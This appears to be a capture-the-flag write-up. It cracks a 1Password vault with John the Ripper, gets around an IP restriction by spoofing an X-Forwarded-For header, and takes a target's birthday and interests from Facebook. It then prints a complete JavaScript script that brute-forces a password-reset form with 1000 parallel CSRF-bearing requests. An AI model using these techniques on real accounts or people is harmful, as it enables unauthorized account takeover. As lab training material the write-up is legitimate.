IAmBrute

By Narcissus

IAmBrute

We downloaded and extracted Marina.vault.zip and got a folder called Marina.vault.opvault. It contained another folder default that had two files in it band_2.js and profile.js.

The folder was a password vault format used by a product called 1password.

Using 1pass2john we got the hash of the vault: 1password2john.py Marina.vault.opvault > hash, and then using john the ripper we cracked the master key: john hash followed by john hash --show which printed ?:Marina.

We installed 1password and loaded the vault into it and it requested out master password:

1password-master

So we put Marina from john's output and we got the saved login details:

1password-details

Going to the site in the notes we are faced with a login screen. We put the username and password that were saved in 1password and got the following error:

login-error

We added the header x-forwarded-for: 192.168.20.1 and sent a new request. Again we were redirected to the login page but this time there was a cookie in the response.

session:
httpOnly:    true
path:    /
value:    eyJ1c2VyX2lkIjoiMiJ9.Dfb96g.6DzT1iCHG3k7kQUTdY5VUDlrG9w

We saved the cookie and navigated to the index page. We were redirected to the tickets page:

marina-tickets

Inside the tickets we find Marina's and George's (the head of IT) Facebook pages:

Marina

George

This may be useful later. For now we need to find a way into George's account. Let's log out and see what the Forgot My Password link does:

forgot-my-password

Ok so we have George's username: george. now we need his birthday and one of three security question answers. Let's check his Facebook page.

In the About section we see he was born in 1991, and that he liked the page FRIENDS (TV Show). We can now brute-force the day and month of his birthday.

class FileDownloader{
    constructor(url, pool_size) {
        this.url = url;
        this.pool_size = pool_size;
    }
    
    createQueue(){
        const arr = [];
        for (let i=1;i<32;i++)
            for (let j=1;j<13;j++)
                arr.push(i.toString().padStart(2, "0")+"/"+j.toString().padStart(2, "0")+"/1991");
        return Promise.resolve(arr);
    }
    
    send_request(elem){
       return fetch(this.url, { 
        method: "POST",
        headers: {
          'Content-Type': 'application/x-www-form-urlencoded'
        },
        body: "__CSRFToken__="+document.querySelector("[name=csrf_token]").getAttribute("content")+"&birthday="+elem+"&do=sendmail&question_answer=Friends&question_id=2&username=george"
        }).then(res => res.text())  
    }
    
    next(){
        const index = this.queue.shift();
        if (index == undefined)
            return {index:-1};
        return index;
    }
    
    download_part(elem, count = 3){
        if (count == 0){
            console.error("Couldn't download part "+elem.index);
        }
        if (elem.index == -1)
            return;
        this.send_request(elem)
        .then(response => {
            if (response.includes("Incorrect answer!")){
                console.log("failed");
            } else {
                console.log("Password: "+elem);
            }
            this.download_part(this.next());
            this.remaining--;
        }).catch(err => {
            this.download_part(elem, count-1);
        });
    }
    
    async start(){
        this.queue = await this.createQueue()
        this.remaining = this.queue.length;
        this.parts = Array(this.queue.length);
        this.stop = false;
        for (let i=0; i< Math.min(this.queue.length,this.pool_size); i++){
            this.download_part(this.next());
        }    
    }
}

new FileDownloader("/pwreset.php", 1000).start()

BF code thanks to naweiss.

george-password

Great, now to login again with this users credentials using the same trick as before:

george-tickets

And now to see the contents of the ticket:

flag

Success